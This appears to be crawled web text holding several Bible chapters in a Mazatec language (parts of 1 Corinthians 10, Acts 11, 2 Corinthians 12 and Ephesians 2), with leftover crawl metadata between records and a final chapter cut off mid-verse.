ni̱ ta i̱tsé jè 'yaxkón. 15'Koa̱á 'sín tíbakó‑no koni tsa ijye xi̱ta̱ chji̱ne̱ jiòn; ya̱ nda jchi̱baya‑no koni 'sín nga tíxin‑no. 16'Kia̱ nga 'yé jè ra tjíya chi̱tsín ra ijye kjòchikon'tin, ya̱á níngásòn‑kjeé ko̱ jè jní‑la̱ Cristo, ko̱ jè ni̱ño̱ nchra̱jín ra nijòyeé, ya̱á níngásòn‑kjeé ko̱ jè ijo‑la̱ Cristo. 17Ni̱'sín 'ñó kjìn ma‑ná ra jién, jngoó‑ni ni̱ño̱ nchra̱jín ra chineé, 'koa̱á ma‑ni nga jngoó ijo ma‑ná ta nga'tsì‑ná jién. 18Chítsijen‑la jñà xi̱ta̱ na̱xi̱ndá Israel, jñà ra kjine ijo‑la̱ cho̱ ra manga̱tsja Nainá ya̱ ñánda̱ nga biya cho̱, ya̱á síngásòn‑kjoko̱ ko̱ jè kjo̱tjò ra manga̱tsja Nainá. ['Koa̱á ti̱'sín jngoya‑te‑la̱ tsa jiòn chji̱ne̱e ijo‑la̱ cho̱ ra sí'ken‑la̱ nainá xkósòn‑la̱ xi̱ta̱.] 19Ko̱, ¿kó tsò‑ni 'én ra ko̱tíxian‑no? ¿A tsó‑ni kjoa̱ nga tjín‑la̱ nga'ñó jñà cho̱ ra ya̱ biya‑la̱ nainá‑la̱ xi̱ta̱ i̱sà'nde; ko̱ a tsó‑ni kjoa̱ nga tjín‑te‑la̱ nga'ñó jñà nainá kìi̱? 20Majìn; tsó‑ni 'én ra ko̱tíxian‑no, 'kia̱ nga jñà xi̱ta̱ ra mì kì bexkon Nainá sí'ken kjo̱tjò cho̱, inìma̱ 'cho‑la̱ ni̱í‑ní ra ko̱'sín sínga̱tsja kjo̱tjò‑la̱, ko̱ mì tsa jè‑jìn Nainá. Ko̱ majìn‑na ra 'a̱n nga jè xi̱ta̱‑ni̱í si̱ngásòn‑ko̱ jiòn. 21Mì kì nda tjín tsa 'kia̱ ya̱ 'yò jiòn jè ra tjíya chi̱tsín koni 'sín kitsjà kjo̱hixi̱ Na̱'ín‑ná ko̱ ti̱'koa̱á 'sio̱ò jiòn jè ra ya̱ si̱ngásòn‑ko̱ inìma̱ 'cho‑la̱ ni̱í. Ti̱'koa̱á mì kì nda tjín tsa 'kia̱ nga bichi jiòn ni̱ño̱ nchra̱jín nga ya̱ níngásòn‑ko̱ Nainá ko̱ ti̱'koa̱á ki̱chi‑te jiòn nga si̱ngásòn‑ko̱ inìma̱ 'cho‑la̱ ni̱í. 22¿O̱ ra mején‑no nga si̱jti‑la Na̱'ín‑ná nga katamachi̱ni̱? ¿A isa̱á 'ñó tjín‑no nga'ñó ra jiòn koni ra jè? 23Kií 'sín tsò xi̱ta̱ nga tjí'nde‑ní nga 'sie̱én ta mé kjoa̱ ra mejèn‑ná, tanga mì tsa ta nga'tsì‑ni kjoa̱ kjen‑ná ndi̱yá. Ko̱ tjí'nde‑ná nga 'sie̱én ta mé kjoa̱ ra mejèn‑ná, tanga mì tsa ta nga'tsì‑ni kjoa̱ tsjá nga'ñó‑ná. 24Kì ta kjo̱nda tsa̱jiòn fatsjio, jè tjatsjio kjo̱nda 'tse̱ xi̱ta̱ ra kj'ií. 25Maá chji̱ne̱e ta mé ijo ra i̱jncha ñánda̱ nga satína ijo; kì tà chjàn chjinangio ñánda̱ nchrabá‑ni, mé‑ni mì si̱ískáko̱‑no jè kjo̱bítsjen‑no. 26Nga̱ 'tse̱é Na̱'ín‑ná jè nangi ko̱ nga'tsì tsajmì ra tjín‑la̱. 27Tsa jngo xi̱ta̱ ra mì kì makjiín‑la̱ a̱'ta 'tse̱ Nainá, si̱íkjí'nchré‑no nga kongí ki̱chioò ya̱ ni'ya‑la̱, ko̱ tsa mejèn‑najiòn kongió; chji̱ne̱e ta mé ra si̱hijyo‑no ya̱ a̱sòn ímixa̱; kì tà chjàn chjinangio mé tsajmì‑ni, mé‑ni mì si̱ískáko̱‑no jè kjo̱bítsjen‑no. 28Tanga tsa yá xi̱ta̱ ra ki̱tso̱: \"Jñà ijo cho̱ kìi̱, jñá kàbiya‑la̱ koni jngo kjo̱tjò jñà ra nainá xkósòn\", ya̱á i̱jndáa̱ kì tà chjàn chine̱e, ta nga̱tjì‑la̱ jè ra ko̱kàtsò, ko̱ mé‑ni mì kì ko̱skáya‑la̱ kjo̱bítsjen. 29Mì tsa jè kjo̱bítsjen ra tjíjin ya̱ a̱jin inìma̱‑no ra ko̱tíxian‑la, jè kjo̱bítsjen‑la̱ jè ra ko̱'sín kàtsò. Tanga tsa tjín i'ka ra sko̱nangi nga ki̱tso̱: \"¿Mé‑ni satéchjà‑na kjoa̱ ra mejèn‑na nga 'siaa̱n ta nga̱tjì‑la̱ nga 'cho ko̱ma‑la̱ jñà kjo̱bítsjen‑la̱ xi̱ta̱ ra i'ka? 30Tsa jè Nainá títsja‑la̱ kjo̱nda a̱'ta 'tse̱ tsajmì ra tíkjíne, ¿a ndaá tjín tsa 'cho 'kín‑la̱ tsajmì ra ijye kàtsja‑la̱ kjo̱nda Nainá?\" 31Tanga jiòn, 'kia̱ nga bichioò, 'kia̱ nga 'yò, ko̱ tsa mé kjoa̱ ra 'nià‑isa jiòn, kata'yaá‑la̱ nga jè Nainá jeya i̱nchiníkíjna jiòn. 32Kì tà nga̱tjì tsa̱jiòn‑no nga jé ska̱jin jñà ra xi̱ta̱ judío ko̱ jñà ra mì tsa xi̱ta̱ judío, ko̱ jñà ra xi̱ta̱ na̱xi̱ndá‑la̱ Nainá. 33Isa̱á nda tjín nga ko̱'sín 'tia̱àn jiòn koni 'sín nga 'siaa̱n ra 'a̱n. Ta ñáa̱ kjoa̱ ra 'siaa̱n, 'koa̱á 'sín 'siaa̱n koni 'sín nda sasén‑la̱ nga'tsì xi̱ta̱. Mì tsa kjo̱nda tsa̱'a̱n batsjía̱, jè jnchro batsjía̱ kjo̱nda 'tse̱ xi̱ta̱ ra kj'ií mé‑ni nga ma katitjokàjin‑ni jé‑la̱.\n1 Corintios 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/10","date":"2013-12-11T21:23:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164047228\/warc\/CC-MAIN-20131204133407-00028-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":1008,"character_repetition_ratio":0.064,"word_repetition_ratio":0.008,"special_characters_ratio":0.241,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús ko̱ xi̱ta̱ xíkjín xi 'ndse̱ joó i̱t'aà ts'e̱ Cristo xi títsa̱jna nangui Judea, kiì'nchré nga jñà xi mìtsà xi̱ta̱ judío ti̱koa̱á jye kòkjeiín‑la̱ 'én‑la̱ Nainá. 2Jñà xi̱ta̱ judío xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo tsohótiko̱ Pedro, k'e̱ nga ijchò‑ne ján Jerusalén. 3Kitsò‑la̱: ―¿Mé‑ne ya̱ kiì‑ne ni'ya‑la̱ xi ta̱xki̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío, skanda ya̱á chichikoi̱i? 4Jè Pedro k'e̱é tsibíts'ia̱ nga ndi̱yá ndi̱yá tsibéno̱jmí yije‑la̱ koni s'ín komàt'in; kitsò‑la̱: 5―K'e̱ nga tìjna̱a ján na̱xa̱ndá Jope, nga tìchjàt'aà‑la̱ Nainá, tsatsejèn jngoò‑na kjoa̱ koni tsà nijñá tí'biì‑na, jngoò nikje kìjtseè xi 'ñó te kji, tjí'ñó nga ñijòn chrja̱ngui̱‑la̱ xi ngajmiì inchrobàjen‑ne, j'iì skanda ñánda tìjna̱a. 6K'e̱ nga kiskoòtsejèn‑la̱, ndaà kìjtseè nga títsa̱jnaya cho̱ xi tjín i̱ i̱t'aà nangui xi ñijòn ma ndso̱ko̱ ko̱ cho̱ ts'e̱n xi tjín i̱jiìn ijñá, ko̱ cho̱ xi bífejno yijo‑la̱ nangui, ngats'iì cho̱ xi jnga̱á tjín‑la̱ xi tjímajiìn i̱sén. 7Ki'nchrè jngoaà 'én xi kitsò‑na: \"Pedro, ti̱sítji̱in, ti̱k'iìn cho̱ koi, chi̱ni̱i.\" 8'A̱n kixan‑la̱: \"Majìn Na̱'èn, 'a̱n, ni̱ saà jngoò k'a tsojmì tjé kíne̱e xi xkón tjín i̱t'aà ts'e̱ kjo̱tíxoma.\" 9Xi ma‑ne jò k'a, ìjngoò k'a kiìchja̱‑na ján ngajmiì kitsò‑na: \"Tsojmì xi Nainá jye kisìtsjeè nga ma chji̱ne̱, kì tsojmì tjé 'mì‑la̱.\" 10Jè kjoa̱ koi, jàn k'a o̱komà. I̱kjoàn tsijin yije ìjngoò k'a‑ne ján ngajmiì. 11Ti̱jè‑ne hora, jàn xi̱ta̱ ijchò kátsji‑na ya̱ ni'ya ñánda tìjna̱a xi ján inchrobà‑ne Cesarea xi xó kisatiìxá‑la̱. 12Jè Ini̱ma̱ Tsjeè‑la̱ Nainá kitsò‑na: \"Tikoi̱i xi̱ta̱ koi; kì jò beè‑la̱ takoìn nga tsjáhijtakoi̱i; ti̱koa̱á tsobáhijtako̱‑na jñà xi̱ta̱ 'ndsè xi joòn ma‑ne xi i̱ títsa̱jna; ijchò‑je̱n ya̱ ni'ya‑la̱ jè xi̱ta̱ xi kiskinìkjaá‑na, i̱kjoàn tsitjaàs'en‑je̱n ni'ya‑la̱.\" 13Xi̱ta̱ jè tsibéno̱jmí‑na̱je̱n nga jngoò xó àkja̱le̱ kijtseè ya̱ ni'ya‑la̱ xi kitsò xó‑la̱: \"Ti̱kasín xi̱ta̱ ján na̱xa̱ndá Jope nga kàtìkjaá jè xi̱ta̱ xi 'mì Simón xi ti̱koa̱ Pedro 'mì. 14Jè tsjá‑lè 'én nga ki̱tjokàjñoò kjo̱'in kjoa̱ ts'e̱ jé‑nò, ngaji̱ ko̱ ngats'iì xi̱ta̱ ni'ya‑lè.\" 15K'e̱ nga tsibíts'ia̱ nga tsibéno̱jmí‑la̱, jè Ini̱ma̱ Tsjeè‑la̱ Nainá, ni̱to̱ón itjojen‑nè jñà xi̱ta̱ koi koni s'ín komàt'iaán jñá nga sa̱ tàts'en‑la̱ kjoa̱. 16K'e̱é tsibítsjeèn‑na koni s'ín kitsò Na̱'èn‑ná Jesús nga kitsò: \"Jè Juan, nandá kis'iìn‑ne bautizar, ta̱nga jñò, ko̱ó Ini̱ma̱ Tsjeè‑la̱ Nainá ko̱ma‑nò bautizar.\" 17Tsà Nainá k'oa̱s'ín sasén‑la̱ nga ti̱koa̱ tsjá kjo̱tjò‑la̱ jè Ini̱ma̱ Tsjeè‑la̱ koni s'ín kitsjaà‑ná jñá k'e̱ nga kòkjeiín‑ná i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo, ¿'a̱n, mé‑ne kondra̱ kóti̱jna‑la̱ Nainá? 18K'e̱ nga kiì'nchré 'én koi, jyò tsibìtsa̱jna. Jeyaá kisìkíjna Nainá, kitsò: ―¡Kixi̱í‑la kjoa̱ nga jñà xi mìtsà xi̱ta̱ judío, ti̱koa̱ tsjá‑la̱ kjo̱ndaà Nainá mé‑ne nga si̱ìkájno‑ne jé‑la̱ ko̱ mì ti̱ jé ko̱hótsji‑ne mé‑ne nga s'e̱‑la̱ kjoa̱binachon ts'e̱ ini̱ma̱‑la̱! 19K'e̱ nga jye k'en Esteban, jñà xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús kitsjohoba, koií kjoa̱‑la̱ nga 'ñó kiìtji̱nguikeè xi̱ta̱. Tjín xi kiì ján nangui Fenicia ko̱ Chipre ko̱ na̱xa̱ndá Antioquía. Xi̱ta̱ koi, k'e̱ nga ijchò i̱'nde koi, tsibéno̱jmí‑la̱ 'én‑la̱ Cristo jñà xi̱ta̱ judío xi ya̱ títsa̱jna ta̱nga xi ta̱xki̱ xi̱ta̱, majìn. 20Jñà xi̱ta̱ xi kitsjohoba, tjín i'nga xi ján i̱'nde‑la̱ nangui Chipre ko̱ na̱xa̱ndá Cirene. K'e̱ nga ijchò ya̱ na̱xa̱ndá Antioquía ti̱koa̱á tsibéno̱jmí‑la̱ jñà xi̱ta̱ xi mìtsà xi̱ta̱ judío 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Jesús xi otíxoma‑ná. 21Nainá kitsjaà‑la̱ nga'ñó; kjìn xi̱ta̱ koi kòkjeiín‑la̱ i̱t'aà ts'e̱ Cristo, jahatjìya‑la̱ kjo̱hítsjeèn‑la̱, kiìt'aà‑la̱ Na̱'èn‑ná. 22Jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna Jerusalén kiì'nchré koni s'ín tíma ján Antioquía. Kisìkasén jè Bernabé. 23Bernabé, k'e̱ nga ijchò Antioquía, kijtseè nga jè Nainá ndaà tísíchikon‑t'in xi̱ta̱ koi. Tsja jchán komà‑la̱. K'e̱é ìsa̱ ndaà tsibít'in yije‑la̱ nga ko̱ ini̱ma̱‑la̱ ìsa̱ ndaà kàtjìt'aà‑la̱ Na̱'èn‑ná. 24Jè Bernabé, 'ñó ndaà xi̱ta̱; ndaà tíjiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá; ti̱koa̱á ndaà mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá. K'oa̱á s'ín komà‑ne nga ìsa̱ kjiìn xi̱ta̱ jahas'en‑t'aà‑la̱ Na̱'èn‑ná Jesús. 25Nga komà i̱skan, Bernabé kiì ján Tarso nga kiì kátsji Saulo. 26K'e̱ nga jye kisakò‑la̱, kiìko̱ ján Antioquía. Jngoò nó tsibìtsa̱jnako̱ jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo; koií xá kis'iìn nga kjìn xi̱ta̱ tsakóya‑la̱. Ya̱á kisit'aà 'ín ítjòn nga xi̱ta̱‑la̱ Cristo 'mì ngats'iì xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo. 27Na̱chrjein koi ijchò i'nga xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá ján Antioquía xi inchrobà‑ne Jerusalén. 28Jngoò xi̱ta̱ xi 'mì Agabo, tsasìjna kixi̱, kiìchja̱ nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá tsibít'in‑la̱, kitsò nga tíjtsa i̱sò'nde kjinchrá 'ñó kjoi̱í. 'Én jè, k'oa̱á s'ín tsitasòn k'e̱ nga tsibìjna xi̱ta̱xá ítjòn ján Roma jè xi 'mì Claudio. 29Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo xi títsa̱jna Antioquía tsajoóya‑ne nga si̱ìkasén‑la̱ nga'ñó xi̱ta̱ xíkjín xi títsa̱jna nangui Judea koni kji bijchó nga'ñó‑la̱ nga jngoò ìjngoò. 30Koni s'ín tsajoóya‑ne, k'oa̱á s'ín kisìkitasòn. Jè Bernabé ko̱ Saulo, kiìko̱ kjo̱tjò jè ján nangui Judea nga kisìnga̱tsja jñà xi̱ta̱ jchínga xi tjín‑la̱ xá ts'e̱ na̱xa̱ndá‑la̱ Cristo.\nHechos 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/11","date":"2013-12-08T17:34:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163728657\/warc\/CC-MAIN-20131204132848-00020-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000067949295044}","num_words":735,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.301,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ni̱mé xi sìkijne nga ndaà síkíjna yijo‑na̱. Ta̱nga mochjeén‑né nga k'oa̱ xán‑nò kjoa̱ xi tsakó‑na Nainá k'e̱ nga tsohóko̱‑na, jè kjoa̱ xi Nainá kisìkichi̱ya‑na. 2Beèxkon‑ná jngoò xi̱ta̱ xi fìt'aà‑la̱ Cristo. Tjín‑la̱ te ñijòn nó nga kiìko̱ Cristo skanda jè ngajmiì xi ma‑ne jàn [ñánda tíjna Nainá]. Mìkiì be tsà k'oa̱á s'ín kiìko̱ nga yijo, a xi tà ini̱ma̱á kiìko̱. Jè Nainá tíjiìn‑la̱. 3Ta̱nga be‑ná nga jè xi̱ta̱ jè, kiì. A yijo‑né, o a tà ini̱ma̱á kiì, tà jngoò Nainá tíbeè. 4Kiì skanda ján i̱'nde ñánda ndaà jchán choòn ján ngajmiì ñánda tíjna Nainá. Kiì'nchré 'én xi 'ñó xkón tjín, xi ni̱jngoò xi̱ta̱ ko̱ma s'e̱no̱jmí‑la̱. 5Koni komàt'in xi̱ta̱ jè, jè‑né xi ok'ìn‑la̱ nga ndaà kíjna. Ta̱nga i̱t'aà ts'a̱n mìkiì ok'ìn‑na nga 'a̱n ndaà síkíjna yijo‑na̱. Ta̱jngoò tsà jñà kjoa̱ xi mahindaàjñaà ndaà síkíjna. 6Tsà ndaà síkíjna yijo‑na̱ [koni tjín kjoa̱ xi 'a̱n kìjtseè ngajmiì], mìtsà 'én ská beno̱jmiá, 'én kixi̱í chjà. Ta̱nga majìn‑na nga ndaà síkíjna yijo‑na̱ i̱t'aà ts'e̱ kjoa̱ xi kìjtseè mé‑ne nga ni̱jngoò xi̱ta̱ ìsa̱ 'nga si̱ìkíjna‑na ta nga̱tjì‑la̱ kjoa̱ koi. Ko̱s'ín kàtasíkinda̱‑na kó s'iaàn, kó s'ín chjà, ko̱ kó s'ín tìsìjchá yijo‑na̱. 7Mé‑ne nga mì 'a̱n ndaà kóti̱jna‑na i̱t'aà ts'e̱ kjoa̱ xi 'a̱n tsakó‑na Nainá xi jeya jchán tjín, kiskaàt'aà jngoò‑na ch'in, k'oa̱á ngaya‑la̱ koni tsà na'yá nchajiìn yijo‑na̱. Jè xi̱ta̱ nei̱í kijtseètoòn‑na nga kisìkasén‑na kjo̱'in. 8Ko̱ jàn k'a bítsi'ba‑la̱ Na̱'èn‑ná nga kàtjaàxìn‑na̱ kjo̱'in jè. 9Ta̱nga jè Nainá ta̱ k'oa̱á tsò‑na: \"Jè kjo̱ndaà‑na̱ ya̱á tíjnako̱‑lè. Ya̱á okoaà yije nga'ñó‑na̱ k'e̱ nga tsjìn‑lè nga'ñó.\" K'oa̱á ma‑ne jè kjoa̱ xi mahindaàjñaà, jè xi ndaà síkíjna‑na yijo‑na̱, mé‑ne nga jè nga'ñó‑la̱ Cristo kíjnako̱‑na. 10Koií kjoa̱‑la̱ matsja‑na k'e̱ nga ma indaàjñaà. Ti̱koa̱á matsja‑na k'e̱ nga chja̱'on‑ko̱‑na xi̱ta̱, k'e̱ nga mé tsojmì xi chija‑na, k'e̱ nga fìtji̱ngui kondra̱‑na xi̱ta̱, k'e̱ nga mé kjoa̱ xi 'iín ma‑na síkjiaán i̱t'aà ts'e̱ Cristo. K'e̱ nga ma indaàjñaà, k'e̱é ìsa̱ ndaà s'e̱‑la̱ nga'ñó ini̱ma̱‑na̱ [nga jè Cristo tsjá‑na]. 11'A̱n, k'oa̱á s'ín kichjà, koni s'ín chja̱ xi̱ta̱ 'én xi ni̱mé chjí‑la̱. Ta̱nga jñò ki'nè‑ná kjo̱'ñó. Jñò xi tjínè‑nò nga ndaà si̱ìkíjna‑ná. Nga 'a̱n mìtsà ìsa̱ nangui tìjna̱‑la̱ jñà xi̱ta̱ xi 'mì‑là jñò nga ìsa̱ 'nga títsa̱jna‑la̱ jñà xi̱ta̱ xi tsibíxáya‑la̱ Cristo; na̱s'ín 'a̱n nìmé chjí‑na. 12K'e̱ nga tsohóti̱jnako̱‑nò kis'e‑na̱ kjoa̱tsejta nga tsakoò‑nò kjoa̱xkón xi okó chi̱ba̱ ko̱ xi okó kjoa̱ jeya‑la̱ Nainá ko̱ nga'ñó‑la̱. Kjoa̱ koi okó nga kixi̱ kjoa̱ nga 'a̱n‑ná xi tsibíxáya‑na Cristo. 13¿Jñò, mé xi ìsa̱ nangui kisìkítsa̱jna‑nò koni jñà na̱xa̱ndá‑la̱ Cristo xi kj'ei̱í? ¿A koií majti‑nò nga mì jñò kisìjti‑nò k'e̱ nga mé tsojmì xi kichijàt'aà‑na? Ti̱jchàat'aà‑ná nga ni̱mé kisìjé‑nò. 14Jyeé tìjna̱ndaà xi ma‑ne jàn k'a nga kjíkon‑nò. Tákó k'oa̱s'ín s'iaàn, mìtsà mé xi siìjé‑nò. Mìtsà koi otsjià mé tsojmì xi tjín‑nò; kjo̱ndaà tsa̱jòn xi otsjià. Nga jñà xi̱ta̱ jchínga tjínè‑la̱ nga koi̱ìtjò to̱n xi ko̱chjeén‑la̱ i̱xti, mìtsà jñà i̱xti tjínè‑la̱ nga koi̱ìtjò to̱n xi ko̱chjeén‑la̱ xi̱ta̱ jchínga. 15Matsjaá‑na nga sìkjèya yije mé xi tjín‑na, skanda tìsìkjè yijo‑na̱ kjoa̱ ts'e̱ ini̱ma̱‑nò. Nga ìsa̱ ndaà matsjake̱‑nò, jñò, ¿a ìsa̱á chiba matsjacha‑ná? 16Kixi̱í kjoa̱, 'a̱n, ni̱mé tsojmì xi kisìjé‑nò. Ta̱nga tjín i'nga xi̱ta̱ xi tsò: \"'Ñó maña̱ nga kona̱cha̱n‑la̱ xi̱ta̱.\" 17Ta̱nga, ¿mé xi kiskoòna̱cha̱n‑nò k'e̱ nga kisìkasén i'nga‑nò xi̱ta̱? 18Tsibítsi'ba‑la̱ Tito nga kiìkon‑nò ko̱ jè 'ndsè xi ìjngoò. Jè Tito, ¿a kiskoòna̱cha̱án‑nò? ¿A mìtsà ngásòn ti̱koi‑ne kjo̱hítsjeèn tjaàjiìn‑je̱n, ti̱koa̱ ti̱koi‑ne ndi̱yá kixi̱ tjaàya‑je̱n? 19¿A k'oa̱á s'ín nìkítsjeèn nga yijo‑naje̱n titsa̱nokjoàtji‑je̱n? Majìn, tíbeè Nainá koi 'én xi titsa̱nokjoà‑je̱n nga Cristo titsa̱jnako̱‑je̱n. Jñò ndí 'ndsè xi 'ñó matsjake̱‑nò, ngats'iì kjoa̱ koi, kjo̱ndaà tsa̱jòn‑nò nga ìsa̱ tse nga'ñó kàtas'e‑nò. 20Makájno‑na tsà k'e̱ nga kìjchokon‑nò tsà mì k'oa̱á s'ín titsa̱'nè koni s'ín mejèn‑na. Koa̱ 'a̱n tsà mì k'oa̱ s'ín tìs'iaàn koni s'ín mejèn‑nò jñò. Koií makájno‑na tsà koií na̱chrjein‑la̱ titsa̱bixkàn‑kjoò, tsà kjoa̱xìtakòn tjín‑nò, tsà kjoa̱jti tíjiìn ini̱ma̱‑nò, tsà jò tsà jàn ya titsa̱jna‑là xinguio̱o, tsà 'én ndiso titsa̱bìnè‑là xinguio̱o, tsà xinguio̱o titsa̱nokjoájno‑lá, tsà 'nga takòn titsa̱'nè ko̱ tsà mìkiì ndaà titsa̱jnako̱o xinguio̱o nga jngoò ìjngoò. 21Ti̱koa̱á makájnoó‑na k'e̱ nga kìjchokon ìjngoò k'a‑nò tsà Nainá si̱ìsobà‑na nga nguixkoòn jñò. Tsà Nainá si̱ìkjindáya‑na xi kjoa̱ tsa̱jòn nga kjìn ma‑nò xi jye kjòtseé binchaàtsjioò jé nga mìkiì nìkájno jé‑nò kjoa̱ tjé xi 'nè ko̱ kjoa̱ chijngui xi 'nè ko̱ ngats'iì kjoa̱ ch'o xi 'nè.\n2 Corintios 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/12","date":"2013-12-06T14:29:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051984\/warc\/CC-MAIN-20131204131731-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":682,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò, nga sa̱ kjòtseé, k'oa̱á ngaya‑la̱ koni tsà titsa̱jna k'en‑nò i̱t'aà ts'e̱ Nainá nga jè kjoa̱‑la̱ jé‑nò nga ch'o ki'nè. 2K'oa̱á s'ín tse tsitjaàyaà ndi̱yá jé‑la̱ xi̱ta̱ i̱sò'nde; jè kinìkitasòn‑là xi̱ta̱ nei̱í xi sko̱‑la̱ tjo̱ i̱jiìn i̱sén nga jè síxájiìn ini̱ma̱‑la̱ jñà xi̱ta̱ xi mìkiì 'nchréñijon‑la̱ Nainá. 3Ti̱koa̱á ngats'iaá jñá, k'e̱ nga ìsa̱ kjòtseé, k'oa̱á ti̱s'ín chinchaàtsjiaá jé koni s'ín kjòmejèn‑la̱ yijo‑ná ko̱ kjo̱hítsjeèn‑ná. Tjín‑ne nga ngásòn tse kjo̱'in k'oi̱‑ná tsà ndaà, koni jñà xi̱ta̱ xi kj'ei̱í nga koi kjoa̱‑la̱ jé‑ná. 4Ta̱nga Nainá, tseé kjo̱hi̱ma̱takòn tjín‑la̱ nga 'ñó matsjakeè‑ná. 5Nainá kisìkítsa̱jnakon ìjngoò k'a‑ná ko̱ Cristo, na̱s'ín jye titsa̱jnak'eén xi kjoa̱ ts'e̱ jé‑ná. (Ko̱ jñò, tà kjo̱ndaà‑la̱ Nainá‑né nga bitjokàjñoò kjo̱'in.) 6Nainá, kisìkjaáyakjoò‑ná ko̱ Cristo, nga ya̱ titsa̱jnakoa̱á, ko̱ ta̱ñaá kisìkítsa̱jnakjoò‑ná ján ngajmiì. 7K'oa̱á s'ín kis'iìn mé‑nè nga ko̱kò‑ne jñà na̱chrjein xi sa̱ nchrobá nga tse kjoa̱tjòcha tjín‑la̱ ko̱ tse kjo̱ndaà tjín‑la̱ i̱t'aà tsa̱ján nga Cristo Jesús titsa̱jnakoa̱á. 8Tà kjo̱ndaà‑la̱ Nainá‑né nga itjokàjñoò kjo̱'in nga kòkjeiín‑nò i̱t'aà ts'e̱ Cristo. Mìtsà kjo̱ndaà tsa̱jòn nchrobá‑ne kjoa̱ koi; ta kitsjaà kjo̱tjò‑nò Nainá. 9Mìtsà koi kjoa̱‑la̱ nga xá ki'nè, mé‑nè nga ni̱jngoò xi̱ta̱ ndaà si̱ìkíjna‑ne yijo‑la̱. 10Nainá tsibíndaàya xi̱tse̱ ìjngoò k'a‑ná, nga ya̱ titsa̱jnakoa̱á Cristo, mé‑nè nga s'e̱én ngats'iì kjoa̱ xi ndaà tjín, jñà kjoa̱ xi Nainá jyeé k'oa̱s'ín kiskoòsòn‑la̱ nga ti̱sa̱ kjòtseé nga ko̱s'ín si̱kitasoán. 11Jñò xi mì ya̱ tje̱n‑nò tje̱‑la̱ xi̱ta̱ judío, k'oa̱á tsò‑nò jñà xi̱ta̱ judío xi tjít'aà chi̱ba̱ yijo‑la̱ nga mìtsà xi̱ta̱‑la̱ Nainá 'mì‑nò, koií kjoa̱‑la̱ nga mì tjít'aà chi̱ba̱‑nò kjoa̱ ts'e̱ circuncisión. Ta̱nga jè kjoa̱ jè, tà tsja xi̱ta̱á bíndaàya‑ne yijo‑la̱. 12Ti̱kítsjeèn k'e̱ nga sa̱ kjòtseé jñò titsa̱t'aàxìn‑la Cristo; ti̱koa̱á titsa̱jnat'aàxìn‑la na̱xa̱ndá Israel, mìkiì ya̱ nokjoà‑nò koni s'ín tsibíndaàjiìn‑ko̱ Nainá jñà xi̱ta̱ judío koni s'ín kitsjaà‑la̱ tso'ba Nainá. I̱sò'nde jè, ni̱mé xi chiñà‑là ko̱ mìkiì yaxkon Nainá. 13Ta̱nga i̱'ndei̱, nga ya̱ titsa̱jnako̱o Cristo, Nainá jyeé kisìchrañat'aà‑nò jè kjoa̱‑la̱ jní xi tsibíxteèn Cristo, na̱s'ín kjiìn tjat'aàxìn‑là Nainá nga sa̱ kjòtseé. 14I̱'ndei̱, jè Cristo xi tsjá‑ná kjoa̱'nchán. Kisìkjoóndaà‑ná nga jngoò na̱xa̱ndá komà‑ne jñà xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío. Jè kisìhixàña jè kjoa̱ kondra̱ xi jòya tjín nga sa̱ ítjòn k'e̱ nga kitsjaà kjo̱tjò yijo‑la̱ nga k'en‑t'aà krò. 15Ya̱á kisìkjehet'aà jè kjo̱tíxoma‑la̱ Moisés xi tjín‑la̱ jñà xi̱ta̱ judío; kjòjngoò‑ne ingajò na̱xa̱ndá; jngoò na̱xa̱ndá xi̱tse̱ komà‑ne nga jè titsa̱jnakoa̱á Cristo; k'oa̱á komà‑ne nga tsijne 'nchán kjoa̱. 16Cristo, k'e̱ nga k'en‑t'aà krò, ya̱á kisìkjehet'aà kjoa̱ kondra̱ xi jòya tjín. Kisìkjoóndaà‑ne ingajò na̱xa̱ndá; jngoò na̱xa̱ndá komà‑ne koa̱ kitsjaà‑la̱ kjoa̱'nchán i̱t'aà ts'e̱ Nainá. 17Jñò xi kjiìn títsa̱jna‑là Nainá nga sa̱ ítjòn, ti̱koa̱á ngaje̱n 